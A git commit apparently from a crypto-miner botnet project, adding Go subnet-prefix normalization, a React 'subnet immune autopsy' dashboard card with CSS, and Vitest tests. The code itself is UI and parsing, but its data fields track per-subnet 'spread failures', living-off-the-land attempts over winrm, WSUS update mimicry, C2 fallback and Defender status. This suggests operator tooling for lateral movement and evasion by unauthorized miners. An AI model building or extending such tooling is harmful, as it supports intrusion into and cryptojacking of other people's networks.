Complete subnet immune autopsy UI and prefix normalization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Normalize /24 labels for autopsy API and cred-graph triggers; add Emberwake/Path Tracer autopsy cards and Vitest coverage for Seer feed consumers.
This commit is contained in:
AetherForge
2026-06-07 09:22:56 -07:00
parent 5853f80c48
commit 588735e7e7
7 changed files with 361 additions and 1 deletions

View File

@@ -1,6 +1,7 @@
package atlas
import (
"strings"
"time"
"crypto-miner-server/internal/db"
@@ -22,7 +23,18 @@ func NewSubnetImmune(database *db.Database) *SubnetImmune {
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
func PrefixFromHostOrIP(hostOrSubnet string) string {
return SubnetPrefix(hostOrSubnet)
s := strings.TrimSpace(hostOrSubnet)
s = strings.TrimSuffix(s, ".x")
s = strings.TrimSuffix(s, ".0/24")
s = strings.TrimSuffix(s, "/24")
if prefix := SubnetPrefix(s); prefix != "" {
return prefix
}
parts := strings.Split(s, ".")
if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
return strings.Join(parts[:3], ".")
}
return ""
}
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.

View File

@@ -42,4 +42,10 @@ func TestPrefixFromHostOrIP(t *testing.T) {
if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
t.Fatalf("prefix=%q", got)
}
if got := PrefixFromHostOrIP("10.0.0.x"); got != "10.0.0" {
t.Fatalf("label prefix=%q", got)
}
if got := PrefixFromHostOrIP("10.2.2"); got != "10.2.2" {
t.Fatalf("bare prefix=%q", got)
}
}

View File

@@ -0,0 +1,84 @@
.subnet-autopsy-card {
--deck-card-accent-bar: #f43f5e;
margin-top: 1rem;
padding: 1rem 1.1rem;
border-left: 3px solid var(--deck-card-accent-bar, #f43f5e);
}
.subnet-autopsy-card--compact {
font-size: 0.85rem;
}
.subnet-autopsy-card--loading {
opacity: 0.7;
font-family: var(--font-mono, monospace);
font-size: 0.8rem;
}
.subnet-autopsy-header h3 {
margin: 0.2rem 0 0.5rem;
font-size: 1rem;
}
.subnet-autopsy-eyebrow {
font-size: 0.65rem;
letter-spacing: 0.12em;
color: #f43f5e;
font-family: var(--font-tech, monospace);
}
.subnet-autopsy-cause {
white-space: pre-wrap;
font-size: 0.82rem;
line-height: 1.45;
margin: 0 0 0.75rem;
color: #e8edf5;
}
.subnet-autopsy-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
gap: 0.5rem 1rem;
margin-bottom: 0.75rem;
}
.subnet-autopsy-label {
display: block;
font-size: 0.62rem;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #8899aa;
margin-bottom: 0.15rem;
}
.subnet-autopsy-value {
font-family: var(--font-mono, monospace);
font-size: 0.78rem;
}
.subnet-autopsy-attempts ul,
.subnet-autopsy-gossip ul {
margin: 0.25rem 0 0;
padding-left: 1.1rem;
font-family: var(--font-mono, monospace);
font-size: 0.75rem;
}
.subnet-autopsy-attempts li.fail {
color: #ff8a7a;
}
.subnet-autopsy-attempts li.ok {
color: #7dffb2;
}
.subnet-autopsy-vaccination {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.subnet-autopsy-vaccination p {
margin: 0.2rem 0 0;
font-size: 0.8rem;
}

View File

@@ -0,0 +1,61 @@
import { render, screen, waitFor } from '@testing-library/react';
import { describe, expect, it, vi, beforeEach } from 'vitest';
import * as api from '../../api/client';
import SubnetAutopsyCard from './SubnetAutopsyCard';
describe('SubnetAutopsyCard', () => {
beforeEach(() => {
vi.restoreAllMocks();
});
it('renders cause-of-death and vaccination lane for paused subnet', async () => {
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
prefix: '10.0.0',
triggered_at: '2026-06-07T12:00:00Z',
fail_count: 5,
lotl_attempts: [{ tier: 'winrm', ok: false, error: 'denied' }],
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
persona: 'silent',
erasure_fallback: { erasure_lanes_enabled: true, available_as_fallback: true },
gossip_whispers: [{ tier: 'docker', condition: 'defender_on', reason: 'lan gossip' }],
cause_of_death: 'Subnet 10.0.0 immune pause: 5 spread failures triggered 24h quarantine.',
vaccination_lane: {
target_subnet: '10.0.0',
seed_agent_id: 'seed-1',
seed_agent_name: 'Seed Hop',
egress_agent_id: 'seed-1',
join_lane: 'do_peer',
score: 0.82,
},
});
render(<SubnetAutopsyCard subnet="10.0.0.x" />);
await waitFor(() => {
expect(screen.getByText(/immune pause/i)).toBeInTheDocument();
});
expect(screen.getByText(/Seed Hop/)).toBeInTheDocument();
expect(screen.getByText(/winrm/)).toBeInTheDocument();
expect(screen.getByText(/docker @ defender_on/)).toBeInTheDocument();
});
it('renders nothing when subnet is not paused', async () => {
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
prefix: '10.0.0',
triggered_at: '2026-06-07T12:00:00Z',
fail_count: 2,
lotl_attempts: [],
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
persona: 'balanced',
erasure_fallback: { erasure_lanes_enabled: false, available_as_fallback: false },
gossip_whispers: [],
cause_of_death: '',
});
const { container } = render(<SubnetAutopsyCard subnet="10.0.0" />);
await waitFor(() => {
expect(api.api.getSubnetAutopsy).toHaveBeenCalled();
});
expect(container).toBeEmptyDOMElement();
});
});

View File

@@ -0,0 +1,136 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { SubnetAutopsyPacket } from '../../types';
import { HelpTip } from '../HelpTip';
import './SubnetAutopsyCard.css';
interface Props {
subnet: string;
compact?: boolean;
}
export default function SubnetAutopsyCard({ subnet, compact = false }: Props) {
const [packet, setPacket] = useState<SubnetAutopsyPacket | null>(null);
const [error, setError] = useState('');
const [loading, setLoading] = useState(false);
useEffect(() => {
const prefix = subnet.trim();
if (!prefix) {
setPacket(null);
return;
}
let cancelled = false;
setLoading(true);
setError('');
api.getSubnetAutopsy(prefix)
.then((pkt) => {
if (!cancelled) setPacket(pkt);
})
.catch((e: unknown) => {
if (!cancelled) {
setError(e instanceof Error ? e.message : 'Autopsy unavailable');
setPacket(null);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => { cancelled = true; };
}, [subnet]);
if (!subnet.trim()) return null;
if (loading && !packet) {
return <div className="subnet-autopsy-card subnet-autopsy-card--loading">Loading immune autopsy</div>;
}
if (error && !packet) {
return null;
}
if (!packet || packet.fail_count < 5) {
return null;
}
const lane = packet.vaccination_lane;
return (
<section
className={`subnet-autopsy-card operator-deck-card${compact ? ' subnet-autopsy-card--compact' : ''}`}
aria-label={`Subnet immune autopsy for ${packet.prefix}`}
>
<header className="subnet-autopsy-header">
<span className="subnet-autopsy-eyebrow">IMMUNE RESPONSE</span>
<h3>
/24 Autopsy {packet.prefix}.x
<HelpTip field="subnet_immune_autopsy" />
</h3>
</header>
<p className="subnet-autopsy-cause">{packet.cause_of_death}</p>
<div className="subnet-autopsy-grid">
<div>
<span className="subnet-autopsy-label">Persona</span>
<span className="subnet-autopsy-value">{packet.persona}</span>
</div>
<div>
<span className="subnet-autopsy-label">WSUS mimic</span>
<span className="subnet-autopsy-value">
{packet.wsus_mimic.format_mimic_enabled ? 'cab.partial on' : 'off'}
{packet.wsus_mimic.recent_join_lane ? ` · ${packet.wsus_mimic.recent_join_lane}` : ''}
</span>
</div>
<div>
<span className="subnet-autopsy-label">Erasure fallback</span>
<span className="subnet-autopsy-value">
{packet.erasure_fallback.available_as_fallback ? 'RS lanes ready' : 'C2 primary'}
</span>
</div>
<div>
<span className="subnet-autopsy-label">Failures</span>
<span className="subnet-autopsy-value">{packet.fail_count} 24h pause</span>
</div>
</div>
{packet.lotl_attempts.length > 0 && (
<div className="subnet-autopsy-attempts">
<span className="subnet-autopsy-label">Last LOTL attempts</span>
<ul>
{packet.lotl_attempts.map((a, i) => (
<li key={`${a.tier}-${i}`} className={a.ok ? 'ok' : 'fail'}>
{a.tier}
{a.agent_name ? ` (${a.agent_name})` : ''}
{a.ok ? ' ✓' : `${a.error ?? ''}`}
</li>
))}
</ul>
</div>
)}
{packet.gossip_whispers.length > 0 && (
<div className="subnet-autopsy-gossip">
<span className="subnet-autopsy-label">Atlas gossip whispers</span>
<ul>
{packet.gossip_whispers.map((h, i) => (
<li key={`${h.tier}-${h.condition}-${i}`}>
{h.tier} @ {h.condition}
{h.reason ? `${h.reason}` : ''}
</li>
))}
</ul>
</div>
)}
{lane && (
<div className="subnet-autopsy-vaccination">
<span className="subnet-autopsy-label">Vaccination lane</span>
<p>
Route via <strong>{lane.seed_agent_name ?? lane.seed_agent_id.slice(0, 8)}</strong>
{lane.join_lane ? ` · ${lane.join_lane}` : ''}
{lane.erasure_lanes_enabled ? ' · RS lanes' : ''}
{lane.score ? ` · score ${lane.score.toFixed(2)}` : ''}
</p>
</div>
)}
</section>
);
}

View File

@@ -0,0 +1,27 @@
import { describe, expect, it } from 'vitest';
import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from './subnetAutopsy';
describe('subnetAutopsy helpers', () => {
it('parses seer subnet immune autopsy events', () => {
const ev = parseSeerSubnetAutopsy({
type: 'subnet_immune_autopsy',
prefix: '10.0.0',
cause: 'Subnet 10.0.0 immune pause',
packet: { prefix: '10.0.0', fail_count: 5, cause_of_death: 'paused' },
});
expect(ev?.prefix).toBe('10.0.0');
expect(ev?.cause).toContain('immune pause');
expect(ev?.packet?.fail_count).toBe(5);
});
it('rejects non-autopsy seer payloads', () => {
expect(parseSeerSubnetAutopsy({ type: 'court_debate' })).toBeNull();
expect(parseSeerSubnetAutopsy(null)).toBeNull();
});
it('normalizes subnet labels to /24 prefix', () => {
expect(subnetAutopsyPrefix('10.0.0.x')).toBe('10.0.0');
expect(subnetAutopsyPrefix('10.0.0/24')).toBe('10.0.0');
expect(subnetAutopsyPrefix('192.168.5.12')).toBe('192.168.5');
});
});

View File

@@ -0,0 +1,34 @@
import type { SubnetAutopsyPacket } from '../types';
export interface SeerSubnetAutopsyEvent {
type: 'subnet_immune_autopsy';
prefix: string;
triggered?: string;
cause?: string;
packet?: SubnetAutopsyPacket;
}
export function parseSeerSubnetAutopsy(payload: unknown): SeerSubnetAutopsyEvent | null {
if (!payload || typeof payload !== 'object') return null;
const raw = payload as Record<string, unknown>;
if (raw.type !== 'subnet_immune_autopsy') return null;
const prefix = typeof raw.prefix === 'string' ? raw.prefix.trim() : '';
if (!prefix) return null;
return {
type: 'subnet_immune_autopsy',
prefix,
triggered: typeof raw.triggered === 'string' ? raw.triggered : undefined,
cause: typeof raw.cause === 'string' ? raw.cause : undefined,
packet: raw.packet as SubnetAutopsyPacket | undefined,
};
}
/** Normalize subnet labels to /24 prefix keys used by the API. */
export function subnetAutopsyPrefix(label: string): string {
const s = label.trim().replace(/\.x$/i, '').replace(/\/24$/, '');
const parts = s.split('.');
if (parts.length >= 3) {
return `${parts[0]}.${parts[1]}.${parts[2]}`;
}
return s;
}